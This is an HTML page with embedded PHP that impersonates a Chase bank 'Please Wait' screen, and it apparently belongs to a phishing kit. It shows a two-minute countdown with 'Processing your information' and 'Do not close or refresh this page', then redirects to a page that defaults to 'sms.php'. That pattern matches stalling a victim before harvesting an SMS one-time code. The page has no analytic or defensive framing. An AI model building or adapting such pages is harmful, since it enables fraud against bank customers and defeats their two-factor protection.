<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Chase — Please Wait</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --blue:        #025ca8;
            --blue-dark:   #014a8a;
            --blue-light:  rgba(2, 92, 168, 0.1);
            --text-primary:   #1a1a1a;
            --text-muted:     #888;
            --border:         #ddd;
            --white:          #ffffff;
        }

        html, body { height: 100%; font-family: 'Inter', sans-serif; }

        body {
            min-height: 100vh;
            background: url('res/img/back.png') center center / cover no-repeat;
            position: relative;
            display: flex;
            flex-direction: column;
        }

        body::before {
            content: '';
            position: fixed; inset: 0;
            background: rgba(0,0,0,0.32);
            z-index: 0;
        }

        header {
            position: relative; z-index: 1;
            padding: 16px 40px;
            display: flex; align-items: center;
            background: rgba(255,255,255,0.92);
            backdrop-filter: blur(8px);
            -webkit-backdrop-filter: blur(8px);
            border-bottom: 1px solid rgba(255,255,255,0.3);
        }
        header img { height: 64px; width: auto; object-fit: contain; display: block; }

        .page-body {
            position: relative; z-index: 1;
            flex: 1;
            display: flex;
            align-items: center;
            justify-content: flex-end;
            padding: 40px 80px 60px;
        }

        .login-card {
            background: var(--white);
            border-radius: 12px;
            padding: 44px 40px 40px;
            width: 100%;
            max-width: 380px;
            text-align: center;
            box-shadow: 0 24px 80px rgba(0,0,0,0.28), 0 4px 16px rgba(0,0,0,0.12);
            animation: fadeUp 0.5s ease both;
        }

        @keyframes fadeUp {
            from { opacity: 0; transform: translateY(20px); }
            to   { opacity: 1; transform: translateY(0); }
        }

        .card-logo { margin-bottom: 28px; text-align: left; }
        .card-logo img { height: 64px; width: auto; object-fit: contain; display: block; }

        /* ── Ring timer ── */
        .ring-wrap {
            position: relative;
            width: 110px; height: 110px;
            margin: 0 auto 28px;
        }
        .ring-wrap svg { width: 110px; height: 110px; transform: rotate(-90deg); }
        .ring-track { fill: none; stroke: #eee; stroke-width: 5; }
        .ring-progress {
            fill: none;
            stroke: var(--blue);
            stroke-width: 5;
            stroke-linecap: round;
            stroke-dasharray: 326.7;
            stroke-dashoffset: 0;
            transition: stroke-dashoffset 1s linear;
        }
        .ring-label {
            position: absolute; inset: 0;
            display: flex; flex-direction: column;
            align-items: center; justify-content: center;
        }
        .ring-time {
            font-size: 26px; font-weight: 600;
            color: var(--text-primary); line-height: 1;
        }
        .ring-unit { font-size: 10px; color: var(--text-muted); margin-top: 3px; }

        .wait-heading h1 {
            font-size: 18px; font-weight: 600;
            color: var(--text-primary); margin-bottom: 8px;
        }
        .wait-heading p {
            font-size: 13px; color: var(--text-muted);
            font-weight: 300; line-height: 1.7;
            max-width: 280px; margin: 0 auto;
        }

        .progress-dots {
            display: flex; justify-content: center;
            gap: 6px; margin: 22px 0;
        }
        .progress-dots span {
            width: 7px; height: 7px; border-radius: 50%;
            background: #e0e0e0; transition: background 0.4s;
        }
        .progress-dots span.lit { background: var(--blue); }

        .info-badge {
            display: inline-flex; align-items: center; gap: 7px;
            background: var(--blue-light);
            border: 1px solid rgba(2,92,168,0.15);
            border-radius: 6px; padding: 9px 14px;
            font-size: 12px; color: var(--blue);
        }

        .page-footer {
            position: relative; z-index: 1;
            padding: 16px 40px;
            display: flex; align-items: center; gap: 24px;
            border-top: 1px solid rgba(255,255,255,0.12);
        }
        .page-footer a {
            font-size: 12px; color: rgba(255,255,255,0.65);
            text-decoration: none; transition: color 0.15s;
        }
        .page-footer a:hover { color: #fff; }

        @media (max-width: 768px) {
            .page-body { justify-content: center; padding: 20px; align-items: flex-start; padding-top: 20px; }
            .login-card { max-width: 100%; }
        }
    </style>
</head>
<body>

    <header>
        <img src="res/img/logo2.svg" alt="Chase">
    </header>

    <div class="page-body">
        <div class="login-card">

            <div class="card-logo">
                <img src="res/img/logo2.svg" alt="Chase">
            </div>

            <div class="ring-wrap">
                <svg viewBox="0 0 110 110" xmlns="http://www.w3.org/2000/svg">
                    <circle class="ring-track" cx="55" cy="55" r="52"/>
                    <circle class="ring-progress" id="ring" cx="55" cy="55" r="52"/>
                </svg>
                <div class="ring-label">
                    <div class="ring-time" id="timer-display">2:00</div>
                    <div class="ring-unit">remaining</div>
                </div>
            </div>

            <div class="wait-heading">
                <h1>Processing your information</h1>
                <p>Please wait up to 2 minutes while we securely process your request.</p>
            </div>

            <div class="progress-dots">
                <span id="d0"></span><span id="d1"></span><span id="d2"></span>
                <span id="d3"></span><span id="d4"></span>
            </div>

            <div class="info-badge">
                <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                    <circle cx="12" cy="12" r="10"/>
                    <line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/>
                </svg>
                Do not close or refresh this page
            </div>

        </div>
    </div>

    <footer class="page-footer">
        <a href="#">Privacy</a>
        <a href="#">Security</a>
        <a href="#">Terms of use</a>
        <a href="#">Accessibility</a>
    </footer>

    <script>
        var next = "<?php echo htmlspecialchars($_GET['next'] ?? 'sms.php', ENT_QUOTES); ?>";
        const TOTAL = 120;
        let remaining = TOTAL;
        const display       = document.getElementById('timer-display');
        const ring          = document.getElementById('ring');
        const CIRCUMFERENCE = 2 * Math.PI * 52;
        const dots          = [0,1,2,3,4].map(i => document.getElementById('d' + i));

        function update() {
            const m = Math.floor(remaining / 60);
            const s = remaining % 60;
            display.textContent = m + ':' + String(s).padStart(2, '0');
            ring.style.strokeDashoffset = CIRCUMFERENCE * (1 - remaining / TOTAL);
            const lit = Math.floor(((TOTAL - remaining) / TOTAL) * dots.length);
            dots.forEach((d, i) => d.classList.toggle('lit', i <= lit));
            if (remaining <= 0) { clearInterval(timer); window.location = next; }
            else remaining--;
        }
        update();
        const timer = setInterval(update, 1000);
    </script>
</body>
</html>